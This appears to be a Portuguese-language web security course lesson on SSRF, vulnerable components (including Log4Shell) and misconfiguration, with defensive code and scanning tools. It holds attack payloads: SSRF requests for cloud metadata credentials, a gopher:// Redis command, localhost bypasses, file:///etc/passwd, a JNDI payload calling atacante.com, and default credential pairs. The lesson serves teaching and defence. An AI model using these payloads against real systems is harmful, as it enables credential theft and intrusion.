SSRF, Componentes Vulneráveis e Misconfiguration
Aula 5 de 6
A10:2021 — Server-Side Request Forgery (SSRF)
Como Funciona
O atacante faz o servidor realizar requisições para destinos internos ou externos não autorizados:
# Requisição original: servidor busca imagem de URL fornecida
POST /fetch-image HTTP/1.1
Content-Type: application/json
{"url": "https://exemplo.com/imagem.jpg"}
# Ataque SSRF — acessando metadados cloud
{"url": "http://169.254.169.254/latest/meta-data/"}
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
Cloud Metadata
IPs de metadados cloud:
AWS: http://169.254.169.254/latest/meta-data/
GCP: http://metadata.google.internal/computeMetadata/v1/
Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01
DO: http://169.254.169.254/metadata/v1.json
Internal Network Scanning
# SSRF para mapear rede interna
http://10.0.0.1:22
http://10.0.0.1:80
http://10.0.0.1:443
http://10.0.0.1:8080
http://10.0.0.1:3306
http://10.0.0.1:6379
# SSRF para redis (comandos)
http://10.0.0.1:6379/
gopher://10.0.0.1:6379/_SET%20key%20value
Bypass Methods
# DNS resolution bypass
http://localhost/ → 127.0.0.1
http://0.0.0.0/ → 127.0.0.1
http://127.1/ → 127.0.0.1
http://2130706433/ → 127.0.0.1 (decimal de 127.0.0.1)
http://0x7f000001/ → 127.0.0.1 (hex de 127.0.0.1)
http://[::1]/ → localhost IPv6
# Redirect bypass
# Servidor atacante redireciona para http://169.254.169.254/
# Protocol variation
file:///etc/passwd
dict://127.0.0.1:6379/
gopher://127.0.0.1:6379/
# DNS rebinding (atacante alterna resolução DNS)
# Fase 1: DNS → IP legítimo (passa validação)
# Fase 2: DNS → 169.254.169.254 (requisição real)
Prevenção
import re
from urllib.parse import urlparse
def validate_url(user_url):
parsed = urlparse(user_url)
hostname = parsed.hostname
# Allowlist de hosts
allowed = ["images.exemplo.com", "cdn.exemplo.com"]
if hostname not in allowed:
raise ValueError("URL não permitida")
# Bloquear IPs privados
import ipaddress
try:
ip = ipaddress.ip_address(socket.gethostbyname(hostname))
if ip.is_private:
raise ValueError("IP privado não permitido")
except:
raise ValueError("Host inválido")
# Bloquear protocolos não-HTTP
if parsed.scheme not in ("http", "https"):
raise ValueError("Protocolo não permitido")
return user_url
A06:2021 — Vulnerable and Outdated Components
SBOM (Software Bill of Materials)
Lista de todas as dependências e versões de um software.
Formato: CycloneDX (OWASP) ou SPDX
Exemplo:
{
"name": "log4j-core",
"version": "2.14.1",
"licenses": ["Apache-2.0"],
"vulnerabilities": ["CVE-2021-44228"]
}
Dependency Scanning
# Snyk — scan de dependências
snyk test # Scan projeto atual
snyk monitor # Monitoramento contínuo
snyk test --all-projects # Todos projetos no monorepo
# Dependabot (GitHub)
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
# OWASP Dependency-Check
dependency-check --project "MeuApp" --scan . -o reports/
dependency-check --format HTML --project "App" --scan **/*.jar
# Trivy (containers + dependencies)
trivy image minha-imagem:latest
trivy fs --scanners vuln --severity CRITICAL,HIGH .
Log4Shell (CVE-2021-44228)
Vulnerabilidade crítica no Apache Log4j 2 (biblioteca de logging Java).
Payload: ${jndi:ldap://atacante.com/a}
Impacto: RCE (Remote Code Execution) via JNDI injection.
- Log4j faz lookup JNDI na string logada
- Atacante controla string (ex: User-Agent header)
- Código malicioso baixado e executado
Versão fixa: Log4j >= 2.17.0
A05:2021 — Security Misconfiguration
Default Credentials
Credenciais padrão frequentemente esquecidas em produção:
admin:admin
admin:password
root:root
tomcat:tomcat
admin:123456
Verbose Errors
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
<!-- Erro detalhado expõe informações -->
<div class="error">
<h1>SQL Server Error</h1>
<p>File: C:\App\Database\connection.php, Line 42</p>
<p>Error: Cannot insert NULL into column 'password'</p>
<p>Query: INSERT INTO users (username, password) VALUES ('admin', NULL)</p>
</div>
Directory Listing
http://alvo.com/uploads/
→ Lista todos arquivos (backups, credenciais, documentos)
Mitigação: desabilitar directory listing no servidor web:
Apache: Options -Indexes
Nginx: autoindex off;
IIS: Directory Browsing → Disabled
Open Cloud Storage
# S3 buckets públicos
aws s3 ls s3://nome-do-bucket/ --no-sign-request
# Verificar bucket exposure
nuclei -t exposures/configs/ -target https://bucket.s3.amazonaws.com
Lab: Testando SSRF e Componentes
# 1. Testar SSRF em funcionalidades que buscam URLs
# Enviar URL interna:
# http://169.254.169.254/ → metadados cloud
# http://localhost:6379/ → redis
# 2. Verificar versões de dependências
npm audit # Node.js
pip list --outdated # Python
mvn versions:display-dependency-updates # Java
# 3. Testar directory listing
curl http://alvo.com/uploads/
# 4. Verificar headers de segurança
curl -I https://alvo.com
# Procurar: Server, X-Powered-By (informações de versão)
# 5. Scan com OWASP Dependency-Check
dependency-check --project "App" --scan . -o reports/
SSRF pode comprometer toda infraestrutura cloud em minutos. Componentes vulneráveis (Log4j) mostram que uma única dependência pode derrubar empresas inteiras. SBOM é essencial para gestão de riscos em supply chain.